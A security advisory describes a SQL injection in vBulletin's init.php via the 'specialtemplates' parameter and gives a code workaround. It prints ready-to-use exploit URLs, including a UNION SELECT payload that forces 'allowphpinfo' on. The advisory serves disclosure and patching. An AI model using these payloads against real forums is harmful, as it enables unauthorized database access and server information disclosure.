vBulletin init.php SQL Injection (specialtemplates)
------------------------------------------------------------------------
SUMMARY
<http://www.vbulletin.com/>; vBulletin is "a commonly used web forum
system written in PHP. One of its key features is use of templates, which
allow the board administrator to dynamically modify the look of the
board".
vBulletin's init.php contains a SQL injection if the "magic_quotes_gpc"
directive of PHP has been set to OFF.
DETAILS
Exploit:
http://site/forum/global.php?specialtemplates=al3ndaleeb')
http://site/forum/global.php?do=phpinfo&specialtemplates[]=al3ndaleeb')
UNION SELECT concat('options') as
title,concat('a:4:{s:15:"templateversion";s:5:"3.0.3";s:12:"allowphpinfo";s:1:"1";s:10:"languageid";s:1:"1";s:7:"styleid";s:1:"1";}') as data/*
Workaround:
Open init.php file and search for these lines:
$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplates) . "')
");
unset($specials, $specialtemplates);
Replace with these :
if(!is_array($specialtemplates))
exit;
$specialtemplate = array();
foreach ($specialtemplates AS $arrykey => $arryval)
{
$specialtemplate[] = addslashes($specialtemplates["$arrykey"]);
}
$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplate) . "')
");
unset($specials, $specialtemplates, $specialtemplate);
